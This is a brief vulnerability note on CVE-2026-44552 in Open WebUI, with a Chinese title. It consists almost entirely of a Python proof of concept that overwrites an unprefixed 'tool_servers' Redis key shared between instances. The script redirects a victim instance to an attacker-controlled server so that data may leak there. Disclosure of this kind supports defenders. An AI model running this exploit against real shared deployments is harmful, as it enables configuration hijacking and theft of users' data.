CVE-2026-44552 Open WebUI配置覆盖漏洞

# PoC: Open WebUI Configuration Overwrite via Redis Key Collision # This script demonstrates how an admin on Instance A can overwrite Instance B's config. import redis # Connect to the shared Redis instance r = redis.Redis(host='shared-redis-host', port=6379, db=0) # Simulating Instance A (Attacker) setting a malicious config # In utils/tools.py, the key 'tool_servers' is used without a prefix. malicious_config = {"server": "http://attacker-controlled-server.com", "token": "stolen-token"} # Exploit: Write to the unprefixed key r.set('tool_servers', str(malicious_config)) print("[+] Instance A (Attacker) overwrote the shared 'tool_servers' key.") print(f"[+] New value: {r.get('tool_servers')}") # Simulating Instance B (Victim) reading the config victim_config = r.get('tool_servers') print(f"[-] Instance B (Victim) reads config: {victim_config}") # Victim now uses the attacker's tool server, potentially leaking data.